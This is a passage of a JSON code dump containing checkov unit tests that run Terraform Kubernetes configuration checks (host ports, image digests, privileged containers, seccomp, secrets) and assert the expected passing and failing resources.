\"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_pod_v1.fail4\",\n            \"kubernetes_pod_v1.fail5\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment.fail5\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n            \"kubernetes_deployment_v1.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 10 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        resource_conf = {'spec': [{'template': [{'spec': [{'container': [{'security_context': [{'capabilities': [[]]}]}]}]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        assert scan_result == CheckResult.FAILED\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DropCapabilitiesPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DropCapabilitiesPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDropCapabilitiesPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DropCapabilitiesPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n            \"kubernetes_pod_security_policy.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_HostPort.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.HostPort import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestHostPort(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_HostPort\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ImageDigest.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ImageDigest import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImageDigest(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ImageDigest\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ImagePullPolicyAlways.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ImagePullPolicyAlways import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImagePullPolicyAlways(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ImagePullPolicyAlways\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n            \"kubernetes_deployment_v1.pass3\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ImageTagFixed.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ImageTagFixed import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImageTagFixed(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ImageTagFixed\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_LivenessProbe.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.LivenessProbe import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLivenessProbe(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LivenessProbe\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_MemoryLimits.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.MemoryLimits import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemoryLimits(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MemoryLimits\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod.fail4\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_pod_v1.fail4\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 16 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_MemoryRequests.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.MemoryRequests import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemoryRequests(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MemoryRequests\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod.fail4\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_pod_v1.fail4\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 16 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_MinimiseCapabilities.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.MinimiseCapabilities import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMinimiseCapabilities(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MinimiseCapabilities\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        resource_conf = {'spec': [{'template': [{'spec': [{'container': [{'security_context': [{'capabilities': [[]]}]}]}]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        assert scan_result == CheckResult.FAILED\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_MinimiseCapabilitiesPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.MinimiseCapabilitiesPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMinimiseCapabilitiesPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MinimiseCapabilitiesPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_PodSecurityContext.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.PodSecurityContext import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPodSecurityContext(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PodSecurityContext\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_daemonset.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_daemon_set_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_daemonset.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_daemon_set_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_PrivilegedContainers.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.PrivilegedContainer import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPrivilegedContainer(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PrivilegedContainers\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_PrivilegedContainersPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.PrivilegedContainerPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPrivilegedContainerPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PrivilegedContainersPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ReadinessProbe.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ReadinessProbe import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestReadinessProbe(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ReadinessProbe\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ReadonlyRootFilesystem.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ReadonlyRootFilesystem import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestReadonlyRootFilesystem(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ReadonlyRootFilesystem\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_RootContainerPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.RootContainerPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRootContainerPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RootContainerPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n            \"kubernetes_pod_security_policy.fail2\",\n            \"kubernetes_pod_security_policy.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_SeccompPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.SeccompPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSeccompPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SeccompPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n            \"kubernetes_pod_security_policy.fail2\",\n            \"kubernetes_pod_security_policy.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_Secrets.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.Secrets import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecrets(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_Secrets\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod.pass3\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_pod_v1.pass3\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment.pass3\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n            \"kubernetes_deployment_v1.pass3\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            